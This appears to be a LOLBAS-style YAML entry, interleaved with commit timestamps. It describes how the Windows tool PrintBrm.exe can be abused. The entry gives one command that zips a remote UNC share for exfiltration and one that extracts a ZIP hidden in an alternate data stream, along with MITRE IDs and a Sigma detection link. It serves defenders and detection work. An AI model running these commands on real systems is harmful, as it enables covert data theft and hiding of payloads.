2021-06-22 04:11:27 +02:00
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Name: PrintBrm.exe
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Description: Printer Migration Command-Line Tool
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2021-07-10 17:54:35 +02:00
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Author: 'Elliot Killick'
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2021-12-14 15:57:32 +01:00
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Created: 2021-06-21
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2021-06-22 04:11:27 +02:00
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Commands:
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2021-08-26 18:21:34 +02:00
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- Command: PrintBrm -b -d \\1.2.3.4\share\example_folder -f C:\Users\user\Desktop\new.zip
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2021-06-22 04:11:27 +02:00
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Description: Create a ZIP file from a folder in a remote drive
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Usecase: Exfiltrate the contents of a remote folder on a UNC share into a zip file
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Category: Download
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Privileges: User
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MitreID: T1105
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2021-12-14 16:50:17 +01:00
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OperatingSystem: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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2024-04-03 17:53:36 +02:00
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Tags:
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- Type: Compression
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2021-08-26 18:21:34 +02:00
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- Command: PrintBrm -r -f C:\Users\user\Desktop\data.txt:hidden.zip -d C:\Users\user\Desktop\new_folder
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2021-06-22 04:11:27 +02:00
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Description: Extract the contents of a ZIP file stored in an Alternate Data Stream (ADS) and store it in a folder
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Usecase: Decompress and extract a ZIP file stored on an alternate data stream to a new folder
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Category: ADS
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Privileges: User
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2021-11-05 19:58:26 +01:00
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MitreID: T1564.004
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2021-12-14 16:50:17 +01:00
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OperatingSystem: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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2024-04-03 17:53:36 +02:00
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Tags:
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- Type: Compression
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2021-06-22 04:11:27 +02:00
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Full_Path:
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- Path: C:\Windows\System32\spool\tools\PrintBrm.exe
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Detection:
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2022-05-17 10:18:45 +02:00
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- Sigma: https://github.com/SigmaHQ/sigma/blob/35a7244c62820fbc5a832e50b1e224ac3a1935da/rules/windows/process_creation/proc_creation_win_lolbin_printbrm.yml
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2021-06-22 04:11:27 +02:00
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- IOC: PrintBrm.exe should not be run on a normal workstation
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2021-07-10 17:54:35 +02:00
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Resources:
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- Link: https://twitter.com/elliotkillick/status/1404117015447670800
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2021-06-22 04:11:27 +02:00
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Acknowledgement:
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- Person: Elliot Killick
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2021-07-10 17:54:35 +02:00
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Handle: '@elliotkillick'
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